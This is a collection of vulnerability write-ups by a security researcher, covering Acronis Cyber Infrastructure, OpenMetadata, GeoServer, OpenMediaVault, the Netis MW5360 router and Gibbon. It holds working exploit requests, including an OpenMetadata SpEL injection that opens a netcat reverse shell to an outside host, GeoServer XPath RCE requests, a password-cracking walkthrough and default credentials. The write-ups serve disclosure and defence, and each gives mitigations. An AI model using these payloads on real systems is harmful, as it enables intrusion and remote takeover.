Let’s explore the other two scripts.
Browsing thru keystone-functions.sh
the first function gen_keystone_passwd()
already shows that the password gets randomly generated with openssl
for the vstorage-service-user
. This looks like a dead-end street.
function gen_keystone_passwd() { sudo -u vstoradmin openssl rand -hex 14 2>/dev/null [ $? -ne 0 ] && error "Unable to generate password for keystone service user" || : }
But…
After exploring the second script db-functions.sh
, interesting new information is revealed because it seems that during the creation and configuration of the database, default passwords are indeed being used.
configure_db() { log_inf "Configure database..." create_user "vstoradmin" "CREATEDB CREATEROLE LOGIN REPLICATION PASSWORD 'vstoradmin'" create_database "vstoradmin" "vstoradmin" log_inf "Database has been configured" }
Database user vstoradmin
seems to have a default password vstoradmin.
That is really interesting, so let’s validate this in the database by querying the passwords for these DB users which are stored in the postgres database table below.
postgres=# select * from "pg_authid"; rolname | rolsuper | rolinherit | rolcreaterole | rolcreatedb | rolcanlogin | rolreplication | rolbypassrls | rolconnlimit | rolpassword | rolvaliduntil ---------------------------+----------+------------+---------------+-------------+-------------+----------------+--------------+--------------+-------------------------------------+--------------- postgres | t | t | t | t | t | t | t | -1 | | pg_monitor | f | t | f | f | f | f | f | -1 | | pg_read_all_settings | f | t | f | f | f | f | f | -1 | | pg_read_all_stats | f | t | f | f | f | f | f | -1 | | pg_stat_scan_tables | f | t | f | f | f | f | f | -1 | | pg_read_server_files | f | t | f | f | f | f | f | -1 | | pg_write_server_files | f | t | f | f | f | f | f | -1 | | pg_execute_server_program | f | t | f | f | f | f | f | -1 | | pg_signal_backend | f | t | f | f | f | f | f | -1 | | vstoradmin | f | t | t | t | t | t | f | -1 | md5dc23b46758bc7e2c4d3d19493c492aae | coredns | f | t | f | f | t | f | f | -1 | md56e2738b0f8848df4ed98977974c83a7e | grafana | f | t | f | f | t | f | f | -1 | | (12 rows)
We can see the md5 hashed passwords in the table for user vstoradmin
and coredns
which are in the typical PostgreSQL format of the string “md5” followed by the md5 hash of a string comprised of the password followed by the postgres username.
Let’s use this logic and check if these accounts are using default passwords with hashcat
.
# cat md5.hash 6e2738b0f8848df4ed98977974c83a7e dc23b46758bc7e2c4d3d19493c492aae # cat password.txt vstoradminvstoradmin corednscoredns # hashcat --show -a 0 -m 0 md5.hash password.txt 6e2738b0f8848df4ed98977974c83a7e:corednscoredns dc23b46758bc7e2c4d3d19493c492aae:vstoradminvstoradmin
Or you can do the other way around .
[root@aci-471-53 libexec]# echo -n "md5"; echo -n "vstoradminvstoradmin" | md5sum | awk '{print $1}' md5dc23b46758bc7e2c4d3d19493c492aae [root@aci-471-53 libexec]# echo -n "md5"; echo -n "corednscoredns" | md5sum | awk '{print $1}' md56e2738b0f8848df4ed98977974c83a7e [root@aci-471-53 libexec]#
And BINGO, the md5 hashed passwords are matching and we have found default passwords!!!!
The final confirmation is to validate a patched version of the Acronis Cyber Infrastructure and check if these flaws have been mitigated.
Checking the db-functions.sh
on a patched ACI 5.0.1-61
appliance, shows that no default password is set in the configure_db()
function.
configure_db() { log_inf "Configure database..." create_user "vstoradmin" "CREATEDB CREATEROLE LOGIN REPLICATION" create_database "vstoradmin" "vstoradmin" log_inf "Database has been configured" }
Also the pg_auth
table in the postgres database does not show any passwords for the vstoradmin
and coredns
database users.
This confirms that the use of default passwords for these accounts have been mitigated.
postgres=# select * from "pg_authid"; rolname | rolsuper | rolinherit | rolcreaterole | rolcreatedb | rolcanlogin | rolreplication | rolbypassrls | rolconnlimit | rolpassword | rolvalidu ntil ---------------------------+----------+------------+---------------+-------------+-------------+----------------+--------------+--------------+-------------+---------- ----- postgres | t | t | t | t | t | t | t | -1 | | pg_monitor | f | t | f | f | f | f | f | -1 | | pg_read_all_settings | f | t | f | f | f | f | f | -1 | | pg_read_all_stats | f | t | f | f | f | f | f | -1 | | pg_stat_scan_tables | f | t | f | f | f | f | f | -1 | | pg_read_server_files | f | t | f | f | f | f | f | -1 | | pg_write_server_files | f | t | f | f | f | f | f | -1 | | pg_execute_server_program | f | t | f | f | f | f | f | -1 | | pg_signal_backend | f | t | f | f | f | f | f | -1 | | vstoradmin | f | t | t | t | t | t | f | -1 | | coredns | f | t | f | f | t | f | f | -1 | | grafana | f | t | f | f | t | f | f | -1 | | (12 rows) postgres=#
The exploit
Now we want to understand how we can exploit this vulnerability.
After digging into the keystone
db with the privileges of the vstoradmin
user, it already shows that we can easily add a new administrative user by editing it directly in the keystone
database. This administrative user allows us to upload ssh-keys via the ACI Web Portal that enables direct root access via SSH to the appliance.
You will need access to Acronis Web Portal, the PostgreSQL database and the SSH service, but if these three services are available and accessible from the outside world, you can easily hack yourself into any non-patched ACI appliance as user root.
I have created an Metasploit module that does all the magic for you.
You can find this module in Metasploit as PR 19463 – Acronis Cyber Infrastructure default password remote code execution.
Mitigation
You should patch your ACI appliance immediately following the Acronis security advisory SEC-6452.
References
CVE-2023-45249
Acronis security advisory SEC-6452
Acronis ACI Downloads
Metasploit PR 19463 – Acronis Cyber Infrastructure default password remote code execution
Technical Analysis
Interesting case that allows for unauthenticated access to JWT token protected API calls in OpenMetada version 1.2.3
and below.
Reading the vulnerability description, it has to do with a incomplete Jwtfilter
that allows to bypass this JWT token authentication.
I have pulled these specific code changes between OpenMetadata version 1.2.3
and 1.2.4
.
It is obvious that implementation of the Jwtfilter
is not strict using uriInfo.getPath().contains(endpoint)
in version 1.2.3
, whilst in version 1.2.4
it has been fixed and restricted using uriInfo.getPath().equalsIgnoreCase(endpoint)
OpenMetadata 1.2.3 excerpt from JwtFilter.java
public static final List<String> EXCLUDED_ENDPOINTS = List.of( "v1/system/config", "v1/users/signup", "v1/system/version", "v1/users/registrationConfirmation", "v1/users/resendRegistrationToken", "v1/users/generatePasswordResetLink", "v1/users/password/reset", "v1/users/checkEmailInUse", "v1/users/login", "v1/users/refresh"); public void filter(ContainerRequestContext requestContext) { UriInfo uriInfo = requestContext.getUriInfo(); if (EXCLUDED_ENDPOINTS.stream().anyMatch(endpoint -> uriInfo.getPath().contains(endpoint))) { return; }
OpenMetadata 1.2.4 excerpt from JwtFilter.java
public static final List<String> EXCLUDED_ENDPOINTS = List.of( "v1/system/config/jwks", "v1/system/config/authorizer", "v1/system/config/customLogoConfiguration", "v1/system/config/auth", "v1/users/signup", "v1/system/version", "v1/users/registrationConfirmation", "v1/users/resendRegistrationToken", "v1/users/generatePasswordResetLink", "v1/users/password/reset", "v1/users/checkEmailInUse", "v1/users/login", "v1/users/refresh"); public void filter(ContainerRequestContext requestContext) { UriInfo uriInfo = requestContext.getUriInfo(); if (EXCLUDED_ENDPOINTS.stream() .anyMatch(endpoint -> uriInfo.getPath().equalsIgnoreCase(endpoint))) { return; }
By adding an URL from the excluded list to a JWT token protected API url, you can potentially bypass the authentication and use the existing sPEL injection vulnerabilities in OpenMetadata version 1.2.3
and below:
CVE-2024-28254 –> GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/<expression>
CVE-2024-28848 –> GET /api/v1;v1%2fusers%2flogin/policies/validation/condition/<expression>
Small demonstration
Chaining CVE-2024-28255 and CVE-2024-28254 to get an unauthenticated RCE via sPEL injection
sPEL injection: T(java.lang.Runtime).getRuntime().exec('nc 192.168.201.8 4444 -e /bin/sh')
Listener: nc -lvnp 4444
Also ensure that you URL encode the payload, otherwise your GET request might not deliver the expected response.
# curl 'http://192.168.201.42:8585/api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%27nc%20192.168.201.8%204444%20-e%20%2Fbin%2Fsh%27%29' {"code":400,"message":"Failed to evaluate - EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.Boolean"}
RCE is succesfull if you receive a “Failed to evaluate – EL1001E” message.
# nc -lvnp 4444 Listening on 0.0.0.0 4444 Connection received on 192.168.201.42 63333 pwd /opt/openmetadata id uid=1000(openmetadata) gid=1000(openmetadata) groups=1000(openmetadata) uname -a Linux aec47ea48dc2 6.6.32-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Jun 13 14:14:43 UTC 2024 x86_64 Linux
You can do the same by chaining CVE-2024-28255 and CVE-2024-28848.
By the way, most of the API enpoints are not susceptible to this bypass because most of these endpoint are using the SecurityContext.getUserPrincipal()
that will return null
using this JWT authentication bypass. You will get an error message as listed below.
OpenMetadata API request to list all databases
GET /api/v1;v1%2fusers%2flogin/databases HTTP/1.1 Host: 192.168.201.42:8585 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36 Accept: */* Connection: keep-alive
Response
HTTP/1.1 401 Unauthorized Date: Wed, 31 Jul 2024 13:02:04 GMT Content-Type: application/json WWW-Authenticate: om-auth Content-Length: 57 { "code":401, "message":"No principal in security context" }
There is Metasploit module available that exploits this vulnerability in combination with the sPEL injection vulnerabilities.
You can find the module here at PR 19347.
Mitigation
Upgrade to the latest release of OpenMetadata or at least upgrade to the patched version 1.2.4
.
References
CVE-2024-28255
CVE-2024-28254
CVE-2024-28848
OpenMetadata Advisory GHSL-2023-235 – GHSL-2023-237
OpenMetadata Quickstart Docker deployment
sPEL injections
HackTricks Expression Language
Metasploit OpenMetadata authentication bypass and SpEL injection exploit chain
Credits
Alvaro Munoz
alias pwntester
(https://github.com/pwntester) – Discovery
Technical Analysis
GeoServer is an open-source software server written in Java that provides the ability to view, edit, and share geospatial data. It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as Geographic Information System (GIS) databases, web-based data, and personal datasets.
In the GeoServer version prior to 2.25.1
, 2.24.3
and 2.23.5
of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath
expressions. It is confirmed that is exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests.
Examples of an evil XPath
request.
GET method request using the WFS GetPropertyValue
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/pawned') HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Connection: close Cache-Control: max-age=0
POST method request using the WFS GetPropertyValue
POST /geoserver/wfs HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 356 <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/pawned')</wfs:valueReference> </wfs:GetPropertyValue>
When successful, the response will return a java.lang.ClassCastException
error and file tmp/pawned
will be created.
It is important that the typeNames or feature types like sf:archsites
exists in the GeoServer configuration. Also some typeNames/feature types do not work. You can find a working list of default typeNames / feature types below.
allowed_feature_types = ['sf:archsites', 'sf:bugsites', 'sf:restricted', 'sf:roads', 'sf:streams', 'ne:boundary_lines', 'ne:coastlines', 'ne:countries', 'ne:disputed_areas', 'ne:populated_places']
There are multipe method request using different XPath expressions
. You can find a full set of examples here.
It is Chinese, but Google translate can help you out here ;–)
I have created a Metasploit module that exploits this vulnerability. It works both on Linux and Windows (credits go to jheysel-r7 to make windows work!)
Mitigation
Versions 2.23.6
, 2.24.4
, and 2.25.2
contain a patch for the issue.
References
CVE-2024-36401
Metasploit Module – GeoServer unauthenticated RCE
POC examples in Chinese
GeoServer Advisory: GHSA-6jj6-gm7p-fcvv
Technical Analysis
This is a golden oldie, that never has been fixed. The existing module in Metasploit , exploit/multi/http/openmediavault_cmd_exec
works only on versions in the range 0.4.x
Unfortunately the vulnerability still exists within all OpenMediaVault versions starting from from 0.5
until the recent release 7.4.2-2
and it allows an authenticated user to create and run cron jobs as root on the system.
I have created a new Metasploit module that can handle all targets from versions 0.1
and above. Shodan shows more then 10000 vulnerable instances and hundreds of them still have the default admin:openmediavault
credentials configured which allows an attacker to leverage this exploit.
This module has been successfully tested on:
OpenMediaVault x64 appliances:
- openmediavault_0.2_amd64.iso
- openmediavault_0.2.5_amd64.iso
- openmediavault_0.3_amd64.iso
- openmediavault_0.4_amd64.iso
- openmediavault_0.4.32_amd64.iso
- openmediavault_0.5.0.24_amd64.iso
- openmediavault_0.5.48_amd64.iso
- openmediavault_1.9_amd64.iso
- openmediavault_2.0.13_amd64.iso
- openmediavault_2.1_amd64.iso
- openmediavault_3.0.2-amd64.iso
- openmediavault_3.0.26-amd64.iso
- openmediavault_3.0.74-amd64.iso
- openmediavault_4.0.9-amd64.iso
- openmediavault_4.1.3-amd64.iso
- openmediavault_5.0.5-amd64.iso
- openmediavault_5.5.11-amd64.iso
- openmediavault_5.6.13-amd64.iso
- openmediavault_6.0-16-amd64.iso
- openmediavault_6.0-34-amd64.iso
- openmediavault_6.0-amd64.iso
- openmediavault_6.0.24-amd64.iso
- openmediavault_6.5.0-amd64.iso
- openmediavault_7.0-20-amd64.iso
- openmediavault_7.0-32-amd64.iso
ARM64 on Raspberry PI running Kali Linux 2024-3:
- openmediavault 7.3.0-5
- openmediavault 7.4.2-2
VirtualBox Images (x64):
- openmediavault 0.4.24
- openmediavault 0.5.30
- openmediavault 1.0.21
You can download the iso images from here.
Mitigation
There is no fix available to address this vulnerability. This weakness has been there since 2013 and never fixed. Future releases will probably not fix it. Contacted the lead developer, but did not get any response. The only precaution that you can take is to ensure that you change the default admin credentials. It is not forced, so you need to take the action yourself.
References
CVE-2013-3632
Packetstorm Public Exploit
Metasploit Module – OpenMediaVault authenticated RCE
OpenMediaVault ISO Downloads
Technical Analysis
Netis Systems Co., Ltd is a global leading provider of networking products and solutions in the data communication industry. It has three worldwide independent brands “netis”, “netcore” and “stonet” .Product lines of Netis company includes Wireless routers, Access point wireless adapters, Dump switches, POE switches, Industrial switches, etc.
A critical security vulnerability has been identified in the Netis router MW5360 by security researcher adhikara13
. This vulnerability results in a Blind Command Injection in the “password” parameter, leading to unauthorized access.
Adhikara13
shared details in a POC on Github how to exploit this vulnerability which can be found here.
A more detailed analysis on vulnerability is not available so I did some reverse engineering on the firmware to understand the details of this vulnerability. So I download the latest firmware MW5360-1.0.1.3442
from here which is a very recent release from April 2024 that is still vulnerable :–(.
I emulated the firmware using FirmAE
and used burpsuite
to catch the requests to understand what was going on.
On the initial startup of the router, it will show you a welcome message and a setup screen to configure the router administration password and wifi settings including the wifi password which is the same as the administration password.
Capturing this request with burpsuite
already shows the first design flaw, because this POST request can be executed multiple times without any authentication where the wifi password and administration password can be changed by manipulating the password
and wpaPsk
field.
POST Request
POST /cgi-bin/skk_set.cgi HTTP/1.1 Host: 192.168.1.1 Content-Length: 201 Accept: text/plain, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.1.1 Referer: http://192.168.1.1/guide/welcome.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: close wlanMode=0&wl_idx=0&ssid2g=bmV0aXMtMDAwMDAw&encrypt=4&wpaPsk=SWwwdmVoYWNraW5n&wpaPskType=2&wpaPskFormat=0&password=SWwwdmVoYWNraW5n&autoUpdate=0&firstSetup=1&quick_set=ap&app=wan_set_shortcut&wl_link=0
Successful Response
HTTP/1.1 200 OK Date: Sun, 02 Jun 2024 12:20:24 GMT Server: Boa/0.94.14rc21 Connection: close ["SUCCESS"]
You can even modify the request to only manipulate the router administration password by stripping the wifi parameters from the request.
POST /cgi-bin/skk_set.cgi HTTP/1.1 Host: 192.168.1.1 Content-Length: 59 Accept: text/plain, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.1.1 Referer: http://192.168.1.1/guide/welcome.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: close password=SWwwdmVoYWNraW5n&quick_set=ap&app=wan_set_shortcut
So far, so good, but besides this authentication bypass, there is also a blind command injection vulnerability in the password parameter according to CVE description.
To understand this a bit better, we need to dig into the firmware code.
If you login in into the emulated router software, you will find the main web binary netis.cgi
in /bin
. This is a compiled MIPS ELF binary so we need a tool like ghidra
to decompile and understand the code.
Loading and analyzing netis.cgi
in ghidra
shows that the main program is a wrapper that runs the specific cgi
request calls like our skk_set.cgi
that we can see with burpsuite
when interacting with the Netis web interface.
undefined4 main(undefined4 param_1,char **param_2) { bool bVar1; size_t sVar2; int iVar3; char *pcVar4; char *local_188; int local_184; int local_17c; void *local_160; char acStack_15c [256]; char cStack_5c; char acStack_5b [63]; int local_1c; char *local_18 [4]; local_160 = (void *)0x0; memset(&cStack_5c,0,0x40); local_1c = 0; sVar2 = strlen(*param_2); while (local_1c < (int)sVar2) { memset(&cStack_5c,0,0x40); iVar3 = local_1c; FUN_0040670c((int)*param_2,'/',&local_1c); strncpy(&cStack_5c,*param_2 + iVar3,local_1c - iVar3); do { local_1c = local_1c + 1; } while ((*param_2)[local_1c] == '/'); } local_188 = &cStack_5c; bVar1 = false; local_18[0] = "skk_set.cgi"; local_18[1] = "upload_config.cgi"; local_18[2] = "upload_fw.cgi"; local_18[3] = (char *)0x0; local_17c = 0; do { if (local_18[local_17c] == (char *)0x0) { LAB_00405408: if (bVar1) { iVar3 = open("/tmp/lock_all.lock",0x702,0x1b4); if (iVar3 < 0) { local_184 = FUN_004050fc(); if (local_184 < 0) { local_184 = 0; } FUN_00405060(local_184); if (2 < local_184) { system("rm -rf /tmp/lock_all.lock"); FUN_00405060(0); } printf("[\"LOCK\"]"); return 0; } close(iVar3); } apmib_init(); FUN_00422c38(&local_160,param_2[1]); DAT_00440d40 = FUN_00405190(); if (local_188 == (char *)0x0) { iVar3 = access("/tmp/lock_all.lock",0); if (iVar3 == 0) { system("rm -rf /tmp/lock_all.lock"); } FUN_004214cc(&local_160); printf("[\"%d\"]",999); } else { pcVar4 = strstr(local_188,".cgi"); if (pcVar4 != (char *)0x0) { pcVar4 = strchr(local_188,0x2f); if (pcVar4 != (char *)0x0) { local_188 = acStack_5b; } FUN_00405764(local_188,&local_160,acStack_15c); } fflush(stdout); FUN_004214cc(&local_160); iVar3 = access("/tmp/lock_all.lock",0); if (iVar3 == 0) { system("rm -rf /tmp/lock_all.lock"); } FUN_00405060(0); } return 0; } iVar3 = strcmp(local_188,local_18[local_17c]); if (iVar3 == 0) { bVar1 = true; goto LAB_00405408; } local_17c = local_17c + 1; } while( true ); }
Let’s check the code for the password
string and see where is it used. You can do this by using the search function in ghidra
.
This creates quite some hits, but the most interesting hit is the ex_password
variable which seems to be linked to a script /bin/script/password.sh
ex_password XREF[2]: Entry Point(*), FUN_0041301c:00413180(*) 0043be44 2f 62 69 ds "/bin/script/password.sh" 6e 2f 73 63 72 69
Checking out function FUN_0041301c:00413180(*)
shows ex_password
a.k.a. /bin/script/password,sh
is being called by the function FUN_00402e00("%s > /dev/console",ex_password,pcVar1,param_4);
.
undefined4 FUN_0041301c(undefined4 *param_1,undefined4 param_2,char *param_3,undefined4 param_4) { char *pcVar1; byte *pbVar2; byte abStack_8c [132]; pcVar1 = FUN_00405644(param_1,"usb3gEnabled"); if (pcVar1 != (char *)0x0) { FUN_00405644(param_1,"usb3gPinCode"); param_3 = FUN_00405644(param_1,"usb3gApn"); param_4 = 0; FUN_00412fe4(); FUN_00402e00("%s > /dev/console",ex_usbcontrol,param_3,param_4); } pbVar2 = (byte *)FUN_00405644(param_1,"ssid2g"); if (pbVar2 != (byte *)0x0) { FUN_004030f4(abStack_8c,pbVar2); strcpy((char *)(pMib + 0x42c1),(char *)abStack_8c); } FUN_00402e00("echo 0 > %s","/proc/http_redirect/enable",param_3,param_4); memset(abStack_8c,0,0x80); apmib_get(0x159,abStack_8c); pcVar1 = "/proc/rtl_dnstrap/domain_name"; FUN_00402e00("echo \'%s\' > %s",abStack_8c,"/proc/rtl_dnstrap/domain_name",param_4); FUN_00402e00("%s > /dev/console",ex_password,pcVar1,param_4); FUN_00402e00("%s > /dev/console",param_2,pcVar1,param_4); return 0; }
Interesting, but lets check if this code segment really gets executed if we run the POST request again. A quick trick is to monitor the process list on the router and grep the relevant processes during the execution of the POST request.
# while true; do ps|grep -e password.sh -e rtl -e http_redirect|grep -v grep;done 3518 root 1132 R /bin/sh -c echo 0 > /proc/http_redirect/enable 3520 root 1132 R /bin/sh -c echo 'netis.cc' > /proc/rtl_dnstrap/domain 3531 root 1140 S /bin/sh -c /bin/script/password.sh > /dev/console 3538 root 324 R /bin/script/password.sh 3531 root 1140 S /bin/sh -c /bin/script/password.sh > /dev/console 3538 root 1656 S /bin/script/password.sh
And indeed /bin/script/password.sh
gets executed as well as some other commands listed in the code.
So let’s now focus on the /bin/scripts/password.sh
.
Checking out this shell script, it turns out to be a compiled MIPS ELF binary instead of a text readable unix shell script.
Let’s use ghidra
again to decompile this binary and use the search function to look for the password
string.
Again quite some hits, but then I stumble over a very interesting piece of code.
s_Changed_Username_and_Password_.._0041dc80 XREF[1]: FUN_00409590:0040969c(*) 0041dc80 43 68 61 ds "Changed Username and Password ...........\n" 6e 67 65 64 20 55
This is most likely the code section that sets the router administration password.
Checking out the function FUN_00409590
is revealing two major issues.
void FUN_00409590(void) { undefined auStack_488 [64]; undefined auStack_448 [64]; undefined auStack_408 [1024]; memset(auStack_408,0,0x400); memset(auStack_488,0,0x40); memset(auStack_448,0,0x40); apmib_get(0x15d,auStack_488); apmib_get(0x15e,auStack_448); RunSystemCmd("echo \"root::0:0:root:/:/bin/sh\" > /var/passwd"); RunSystemCmd("echo \"nobody:x:0:0:nobody:/:/dev/null\" >> /var/passwd"); RunSystemCmd("echo root:%s | chpasswd -m",auStack_448); RunSystemCmd("echo \"root:x:0:root\" > /var/group"); RunSystemCmd("echo \"nobody:x:0:nobody\" >> /var/group"); RunSystemCmd("chmod 755 /var/passwd"); RunSystemCmd("chmod 755 /var/group"); fwrite("Changed Username and Password ...........\n",1,0x2a,stderr); return; }
The first issue is that the router administration password is directly linked to the root password of router itself.
Oeps! That is not really best practice and attackers love these things.
The second issue is the blind command injection where the vulnerable code RunSystemCmd("echo root:%s | chpasswd -m",auStack_448);
allows an attacker to manipulate password argument represented by auStack_448
and inject and execute code using the unix backtics.
This explains why the password parameter is indeed vulnerable of blind command injection.
The RunSystemCmd
function is just a piece a code which is defined in the library libapmib.so
and executes a unix command line using the system()
call.
void RunSystemCmd(char *param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4) { undefined4 local_res4; undefined4 local_res8; undefined4 local_resc; char acStack_118 [256]; undefined4 *local_18; local_res4 = param_2; local_res8 = param_3; local_resc = param_4; memset(acStack_118,0,0x100); local_18 = &local_res4; vsprintf(acStack_118,param_1,local_18); system(acStack_118); return; }
I have created an exploit that is published as official module Netis MW5360 unauthenticated RCE [CVE-2024-22729] in Metasploit.
Unfortunately there is no mitigation, because the latest firmware from April 2024 is still vulnerable. So be on the alert when suddenly your router administration password changes unexpectedly and you can not login into your router anymore.
References
CVE-2024-22729
Netis MW5360 unauthenticated RCE [CVE-2024-22729]
Firmware MW5360-1.0.1.3442
Credits
Credits go to the security researcher below who discovered this vulnerability.
adhikara13
Technical Analysis
Th Gibbon web application v26.0.00
has a PHP deserialization vulnerability and I would like to use this particular example as a use case to explain a bit more how to find this type of vulnerabilities and how you can build your own exploit.
In some other articles, I already explained the concept of serialization and why it used in web application design, but let me quickly summarize the theory once more.
Serialization is the process of converting complex data structures, such as objects and their fields, into a format that can be sent and received as a sequential stream of bytes. Serializing data makes it much simpler to write complex data to inter-process memory, a file, or a database or send complex data, for example, over a network, between different components of an application, or in an API call.
The concept of serialization is very often used in application design to exchange data. Data objects get serialized, send and on the receiving end, de-serialized for further processing. Many programming languages offer native support for serialization where some languages serialize objects into binary formats, whereas others use different string formats.
So far, so good, but what is exactly insecure deserialization
and why is it so dangerous?
Insecure deserialization is when user-controllable data is deserialized by a web application. This enables an attacker to manipulate serialized objects in order to pass harmful data into the application code. It is even possible to replace a serialized object with an object of an entirely different class. Even worse, objects of any class that is available to the website will be deserialized and instantiated, regardless of which class was expected. For this reason, insecure deserialization is sometimes known as an “object injection” vulnerability.
By doing this, an object of an unexpected class might cause an exception, however, the damage may already be done because many deserialization-based attacks are completed before deserialization is finished. This means that the deserialization process itself can initiate an attack, even if the web application’s own functionality does not directly interact with the malicious object.
Just a quick example of serialized data, so we understand the structure. We will use PHP serialization string format.
Take this object Clock.
$clock->type = "cuckoo"; $clock->isSold = true;
When serialized, this object may look something like below:
O:5:"Clock":2:{s:4:"type":s:6:"cuckoo"; s:6:"isSold":b:1;} O:5:"Clock": - An object with the 4-character class name "Clock" 2: - the object has 2 attributes s:4:"type" - The key of the first attribute is the 4-character string "type" s:6:"cuckoo" - The value of the first attribute is the 6-character string "cuckoo" s:6:"isSold" - The key of the second attribute is the 6-character string "isSold" b:1 - The value of the second attribute is the boolean value true
The native methods for PHP serialization are serialize()
and unserialize()
. So If you have source code access, you should start by looking for unserialize()
anywhere in the code to see if there is an opportunity to find and exploit an insecure deserialization vulnerability.
Let’s now have a closer look at the Gibbon web application and try to correlate the above theory with the discovered deserialization vulnerability at the web application.
If you read the description in the CVE published for Gibbon, it mentions a PHP deserialization vulnerability via columnOrder
in a POST request to the modules/System%20Admin/import_run.php&type=externalAssessment&step=4
.
So let’s have a look at the file import_run.php
and check if we can find the unserialize()
function that is typically used by PHP. The good thing is that Gibbon is open source so all the source code is available for analysis.
And indeed, there is unserialize()
function in the file import_run.php
and more important it has user-controllable parameters, such as columnOrder
and columnText
which makes this a potential candidate for insecure deserialization.
//STEP 3 & 4, DRY & LIVE RUN ----------------------------------------------------------------------------------- elseif ($step==3 || $step==4) { // Gather our data $mode = $_POST['mode'] ?? null; $syncField = $_POST['syncField'] ?? null; $syncColumn = $_POST['syncColumn'] ?? null; $csvData = $_POST['csvData'] ?? null; if ($step==4) { // DESERIALIZATION with user-controllable data !!! $columnOrder = isset($_POST['columnOrder'])? unserialize($_POST['columnOrder']) : null; $columnText = isset($_POST['columnText'])? unserialize($_POST['columnText']) : null; } else { $columnOrder = $_POST['columnOrder'] ?? null; $columnText = $_POST['columnText'] ?? null; } $fieldDelimiter = isset($_POST['fieldDelimiter'])? urldecode($_POST['fieldDelimiter']) : null; $stringEnclosure = isset($_POST['stringEnclosure'])? urldecode($_POST['stringEnclosure']) : null; $ignoreErrors = $_POST['ignoreErrors'] ?? false;
But the big question is still how to put this potential deserialization vulnerability into a working exploit where you can pull off a remote code execution or establish a privileged escalation.
A bit of theory again before we move on…
You have different ways to leverage a deserialization vulnerability by tampering the data, such as the object attributes or modifying data types where you can change the behavior and outcome of application functionality.
Another way, is to use the application functionality that is associated with the deserialized data. An example of this could be an use case where deseralized data is used to upload a personal image file as part of creating a new user. If the attacker can manipulate the filename object during deserialization process, he/she potentially could change the image file to point to a malicious malware file which will then be uploaded in the application.
However, the most common way to leverage a deserialization vulnerability is to make use of the so called Magic Methods
and Gadget Chains
.
Let’s quickly explain both concepts.
Magic methods are a special subset of methods that you do not have to explicitly invoke. Instead, they are invoked automatically whenever a particular event or scenario occurs. Magic methods are a common feature of object-oriented programming in various languages. They are sometimes indicated by prefixing or surrounding the method name with double-underscores.
Developers can add magic methods to a class in order to predetermine what code should be executed when the corresponding event or scenario occurs. Exactly when and why a magic method is invoked differs from method to method. One of the most common examples in PHP is __construct()
, which is invoked whenever an object of the class is instantiated, similar to Python’s __init__
. Important in this context, some languages have magic methods that are invoked automatically during the deserialization process. For example, PHP’s unserialize()
method looks for and invokes an object’s __wakeup()
magic method.
To construct a simple exploit, you typically would look for classes containing deserialization magic methods, and check whether any of them perform dangerous operations on controllable data. You can then pass in a serialized object of this class to use its magic method for an exploit.
Gadget Chains
Classes containing these deserialization magic methods can be used to initiate more complex attacks involving a long series of method invocations, known as a gadget chain
. It is important to understand that a gadget chain is not a payload of chained methods constructed by the attacker. All of the code already exists on the web application. The only thing the attacker controls is the data that is passed into the gadget chain. This is typically done using a magic method that is invoked during deserialization, sometimes known as a kick-off gadget
.
Now this a lot of information, but how do we apply this in practice?
Manually identifying gadget chains is a pretty complicated process that requires a deep understanding of the web application and you will need source code access in order to do this.
However, to make our life easier, there are pre-built gadget chains that you can try first.
Ambionics
has build a library of pre-built gadget chains designed for PHP based web applications, called phpggc.
If installed, you can check which pre-built gadget chains are available.
It will tell you the name of the framework/library, the version of the framework/library for which gadgets are for, the type of exploitation such as RCE, File Write, File Read, Include…, and the vector (kickoff gadget) to trigger the chain after the unserialize (__destruct(), __toString(), offsetGet(), …)
